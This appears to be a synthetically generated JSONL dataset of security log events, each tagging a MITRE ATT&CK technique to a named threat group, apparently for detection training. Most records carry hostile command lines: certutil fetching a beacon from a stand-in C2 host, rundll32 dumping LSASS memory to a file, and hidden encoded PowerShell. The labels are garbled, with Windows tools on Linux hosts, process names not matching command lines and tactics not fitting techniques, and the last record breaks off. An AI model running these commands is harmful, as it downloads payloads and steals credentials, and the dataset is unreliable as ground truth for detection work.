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Elite_quality_cybersecurity

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{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Defense Evasion"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20250423T005207000Z_0002001","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.213.224.65","name":"EC2-INST-ODIN4Z6DCI","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2001APT41T1098.004"},"network":{"domain":"github.com","dst_ip":"1.191.37.239","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-01-02T10:33:36.000Z","user":{"name":"CORP\\86ty0kez4z4b","sid":"S-1-5-21-592320100-936911521-1920"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Persistence","Credential Access","Execution"],"technique_id":"T1546.003"},"event_id":"evt_fin7_20250418T072427000Z_0002003","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.138.145.127","name":"WIN-FIN-SRV-9MDX3SF6LX","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2003FIN7T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.54.83.224","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-06-18T03:33:52.000Z","user":{"name":"svc_ydnf6t0ca0a0","sid":"S-1-5-21-336850360-244518247-7250"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Persistence","Command and Control"],"technique_id":"T1071.001"},"event_id":"evt_scatteredspider_20260414T231240000Z_0002005","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.8.32.204","name":"WIN-FIN-SRV-EGRIWR6S02","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2005Scattered SpiderT1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.134.28.179","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-01-20T10:32:31.000Z","user":{"name":"azuread\\59ej22pfvfj3","sid":"S-1-5-21-669898115-101234345-8873"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Impact","Command and Control","Discovery"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20260904T074428000Z_0002007","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.196.238.239","name":"WIN-FIN-SRV-FGVB3RQ9RK","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2007Mustang PandaT1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.14.193.119","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3343 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-10-05T11:13:31.000Z","user":{"name":"CORP\\4hm17a5in6fn","sid":"S-1-5-21-360100496-347506085-1408"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Reconnaissance"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20250702T023010000Z_0002009","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.194.121.175","name":"IAM-ROLE-9171HJF3C1","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2009UNC4841T1098.004"},"network":{"domain":"github.com","dst_ip":"1.3.27.113","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2772 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-05-04T18:24:46.000Z","user":{"name":"svc_9idtg0pngk9v","sid":"S-1-5-21-233788547-488823940-5702"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Discovery","Privilege Escalation"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20260817T130546000Z_0002011","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.3.34.91","name":"WIN-FIN-SRV-UCQJ0GD7WX","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2011Mustang PandaT1098.004"},"network":{"domain":"github.com","dst_ip":"1.128.230.119","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-12-14T05:56:48.000Z","user":{"name":"azuread\\149n6w908s54","sid":"S-1-5-21-610443736-658569860-5399"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Credential Access","Reconnaissance","Command and Control"],"technique_id":"T1570"},"event_id":"evt_lapsus_20250701T155934000Z_0002013","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.223.196.160","name":"AZURE-VM-YQWOZSC3F6","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2013Lapsus$T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.15.11.229","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-10-17T06:12:53.000Z","user":{"name":"CORP\\hl5xwz47tr2n","sid":"S-1-5-21-535297998-982628760-9746"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Reconnaissance","Defense Evasion","Exfiltration"],"technique_id":"T1098.004"},"event_id":"evt_fin7_20260329T185707000Z_0002015","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.75.33.247","name":"DB-ORACLE-M3URF69TD4","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2015FIN7T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.9.151.201","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-01-25T18:45:44.000Z","user":{"name":"i-eb0d0bk2jv0m","sid":"S-1-5-21-735050847-127293564-3551"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Persistence","Collection"],"technique_id":"T1570"},"event_id":"evt_apt29_20260426T032549000Z_0002017","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.152.254.51","name":"AZURE-VM-Y6OJVVAQTL","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2017APT29T1570"},"network":{"domain":"github.com","dst_ip":"1.47.12.74","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2280 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-10-13T16:27:04.000Z","user":{"name":"svc_sn1lqq12ibi4","sid":"S-1-5-21-570292252-624064578-2241"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Exfiltration","Impact","Discovery"],"technique_id":"T1531"},"event_id":"evt_scatteredspider_20251217T222211000Z_0002019","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.239.196.226","name":"APP-WEB-Z0XSB1R2N6","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2019Scattered SpiderT1531"},"network":{"domain":"github.com","dst_ip":"1.160.251.72","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-06-15T14:51:03.000Z","user":{"name":"i-u8vnoz1bejzo","sid":"S-1-5-21-287859158-833031814-4154"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Impact"],"technique_id":"T1021.006"},"event_id":"evt_volttyphoon_20260912T170050000Z_0002021","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Base64","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.254.142.155","name":"WIN-FIN-SRV-VWVFA2YCMR","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2021Volt TyphoonT1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.91.85.212","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 600 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-05-08T07:47:25.000Z","user":{"name":"arn:aws:iam::oyiz7o65shbc","sid":"S-1-5-21-131549969-986367308-5170"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Privilege Escalation","Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20260713T210548000Z_0002023","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.25.137.40","name":"WIN-FIN-SRV-NHK2TLAJKU","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2023UNC4841T1059.001"},"network":{"domain":"github.com","dst_ip":"1.40.233.55","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-05-25T11:33:14.000Z","user":{"name":"i-7mlquqif3y4o","sid":"S-1-5-21-265302923-580287310-8711"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Exfiltration","Execution","Credential Access"],"technique_id":"T1546.003"},"event_id":"evt_apt29_20250110T094451000Z_0002025","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.77.67.137","name":"DB-ORACLE-7CPCUJ3S9O","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2025APT29T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.52.143.185","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-08-18T00:31:55.000Z","user":{"name":"CORP\\lvzo518rv1rp","sid":"S-1-5-21-313816037-331781364-6632"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Exfiltration","Persistence"],"technique_id":"T1003.001"},"event_id":"evt_fin7_20260821T164026000Z_0002027","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.110.70.3","name":"APP-WEB-SR97XSSW5C","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2027FIN7T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.119.89.9","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1346 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-01-17T00:19:36.000Z","user":{"name":"CORP\\fjp63ua1avof","sid":"S-1-5-21-786121130-572985186-4194"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Collection","Lateral Movement","Reconnaissance"],"technique_id":"T1484.001"},"event_id":"evt_fin7_20250821T172348000Z_0002029","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.43.131.239","name":"APP-WEB-37F59474ET","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2029FIN7T1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.74.182.29","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-06-08T07:50:27.000Z","user":{"name":"arn:aws:iam::sts137gbp9vb","sid":"S-1-5-21-478365614-851593943-5304"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Persistence","Privilege Escalation","Collection"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20261009T171127000Z_0002031","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.76.237.153","name":"APP-WEB-7TM86HP909","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2031UNC4841T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.79.128.109","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3934 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-11-21T11:46:04.000Z","user":{"name":"arn:aws:iam::yxdg2ywhkm8s","sid":"S-1-5-21-594518686-574628316-6010"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Reconnaissance"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20250118T142030000Z_0002033","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.52.105.181","name":"APP-WEB-71P18IBFE5","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2033Volt TyphoonT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.53.25.217","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-11-16T23:41:46.000Z","user":{"name":"CORP\\tun8z9yfbq4k","sid":"S-1-5-21-352801560-590027304-2372"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Persistence","Discovery"],"technique_id":"T1531"},"event_id":"evt_scatteredspider_20260310T163924000Z_0002035","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.160.57.103","name":"IAM-ROLE-UHC88BO6AV","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2035Scattered SpiderT1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.90.81.238","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-03-27T05:24:51.000Z","user":{"name":"azuread\\ly2ho76xip4c","sid":"S-1-5-21-860889404-823171499-9981"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Collection","Initial Access","Discovery"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20261120T125455000Z_0002037","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.138.176.23","name":"IAM-ROLE-KY5TM4DUN2","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2037Lapsus$T1071.001"},"network":{"domain":"github.com","dst_ip":"1.68.246.63","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-01-01T21:34:08.000Z","user":{"name":"i-byi0de8myfm2","sid":"S-1-5-21-645371667-638815677-4077"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Persistence","Execution","Defense Evasion"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20251011T000813000Z_0002039","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.139.209.104","name":"APP-WEB-9YY6T8MA5X","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2039FIN7T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.75.185.79","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2138 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-08-25T10:50:11.000Z","user":{"name":"arn:aws:iam::27vymjnsn9w9","sid":"S-1-5-21-804529099-712802987-6045"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Lateral Movement"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20260531T094819000Z_0002041","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.212.144.27","name":"WIN-FIN-SRV-CPKV1XE1FZ","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2041UNC4841T1546.003"},"network":{"domain":"github.com","dst_ip":"1.75.55.196","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-11-01T23:50:49.000Z","user":{"name":"i-awb0f0fwxnza","sid":"S-1-5-21-618524679-692327659-8179"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Command and Control"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20250208T234406000Z_0002043","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.243.77.75","name":"AZURE-VM-SSK2FWFUBW","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2043Lapsus$T1098.004"},"network":{"domain":"github.com","dst_ip":"1.152.120.28","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3247 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-10-05T13:13:26.000Z","user":{"name":"arn:aws:iam::qmalcxhyqxuz","sid":"S-1-5-21-896381535-991615546-9933"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Privilege Escalation","Exfiltration"],"technique_id":"T1071.001"},"event_id":"evt_scatteredspider_20261114T062718000Z_0002045","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.93.114.47","name":"WIN-FIN-SRV-1R4FT6OMBE","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2045Scattered SpiderT1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.152.20.166","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-08-23T03:04:32.000Z","user":{"name":"CORP\\61o2ix0u8gnx","sid":"S-1-5-21-265821863-488863917-1441"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Exfiltration","Lateral Movement","Execution"],"technique_id":"T1570"},"event_id":"evt_unc4841_20260704T220454000Z_0002047","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.126.10.119","name":"IAM-ROLE-32YSW9HRWP","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2047UNC4841T1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.43.59.208","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f 